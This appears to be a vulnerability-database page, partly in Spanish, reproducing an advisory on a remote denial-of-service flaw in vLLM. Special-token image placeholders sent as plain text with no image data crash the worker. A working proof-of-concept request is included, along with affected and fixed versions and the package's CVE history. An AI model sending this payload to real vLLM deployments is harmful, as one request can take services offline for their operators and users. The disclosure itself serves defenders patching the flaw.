Media

vLLM Vulnerable to Remote DoS via Special-Token Placeholders

  • Publicada: 05.05.2026
  • Actualizado: 11.10.2026 15:17

Summary

This report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image_grid_thw/video_grid_thw are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.

Details

  • Affected component: multimodal input position computation.
  • File/functions (paths are indicative):
    • vllm/model_executor/layers/rotary_embedding.py
      • get_input_positions_tensor(...)
      • _vl_get_input_positions_tensor(...)
  • Failure mechanism:
    • The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.
    • When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.

Representative snippet (context):

python
# vllm/model_executor/layers/rotary_embedding.py
@classmethod
def _vl_get_input_positions_tensor(
    cls,
    input_tokens,
    hf_config,
    image_grid_thw,
    video_grid_thw,
    ...,
):
    # detect video tokens
    video_nums = (vision_tokens == video_token_id).sum()
    # later in processing
    t, h, w = (
        video_grid_thw[video_index][0],  # IndexError if no video data
        video_grid_thw[video_index][1],
        video_grid_thw[video_index][2],
    )

Abbreviated call path:

OpenAI API request
 → vllm.v1.engine.core: step/execute_model
 → vllm.v1.worker.gpu_model_runner: _update_states/execute_model
 → vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor
 → _vl_get_input_positions_tensor
 → IndexError: list index out of range

PoC

Environment

  • vLLM: 0.10.0
  • Model: Qwen/Qwen2.5-VL-3B-Instruct
  • Launch server:
bash
python -m vllm.entrypoints.openai.api_server \
  --model Qwen/Qwen2.5-VL-3B-Instruct \
  --port 8000

Request (text-only, no image/video data)

bash
cat > request.json <<'JSON'
{
  "model": "Qwen/Qwen2.5-VL-3B-Instruct",
  "messages": [
    {
      "role": "user",
      "content": [
        { "type": "text",
          "text": "what's in picture <|vision_start|><|image_pad|><|vision_end|>" }
      ]
    }
  ]
}
JSON

curl -s http://127.0.0.1:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  --data @request.json

Observed result

  • HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).
  • In some deployments, the worker exits and capacity remains reduced until manual restart.

Impact

  • Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.
  • Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).
  • Effect: Request → unhandled exception in position computation → worker termination / service unavailability.

Fixes

Credits

Pengyu Ding (Infra Security, Ant Group)
Ziteng Xu (Infra Security, Ant Group)

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) vllm >= 0.6.1, < 0.20.0 0.20.0

Referencias

Puntuación CVSS 6.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE)
CWE-129
Plataforma
Python (PyPI)
Paquete
vllm
Publicada
05.05.2026
Actualizado
11.10.2026 15:17

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-3409 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-hpv8-x276-m59f - CC BY 4.0

Historial de vulnerabilidades: vllm

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (94) en el archivo
Entradas en total
94
Primera → última
09.2024 10.2026
Sin corrección
5
Explotada en ataques
0

Distribución por gravedad

  • Crítica 9
  • Alta 23
  • Media 47
  • Baja 4
  • Sin evaluar 11

Divulgaciones por año

  1. 2024: 2
  2. 2025: 30
  3. 2026: 62
Gravedad:
  1. Alta · 7.5 CVE-2026-54234 >= 0.17.1, < 0.24.0 0.24.0
  2. Alta CVE-2026-55514 >= 0.12.0, < 0.24.0 0.24.0
  3. Crítica · 9.1 CVE-2026-48746 >= 0.3.0, < 0.22.0 0.22.0
  4. vLLM Vulnerable to Remote DoS via Special-Token Placeholders esta entrada
    Media · 6.5 CVE-2026-44222 >= 0.6.1, < 0.20.0 0.20.0
  5. Crítica · 9.8 CVE-2026-22778 >= 0.8.3, < 0.14.1 0.14.1
  6. Alta · 8.8 CVE-2026-22807 >= 0.10.1, < 0.14.0 0.14.0
  7. Alta · 8.8 CVE-2026-56340 >= 0.10.2, < 0.13.0 0.13.0
  8. Alta · 6.5 CVE-2025-62372 >= 0.5.5, < 0.11.1 0.11.1
  9. Alta · 8.8 CVE-2025-62164 >= 0.10.2, < 0.11.1 0.11.1
  10. Alta · 7.5 CVE-2025-59425 < 0.11.0 0.11.0
Mostrar más (13) Mostrando 20 de 33

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.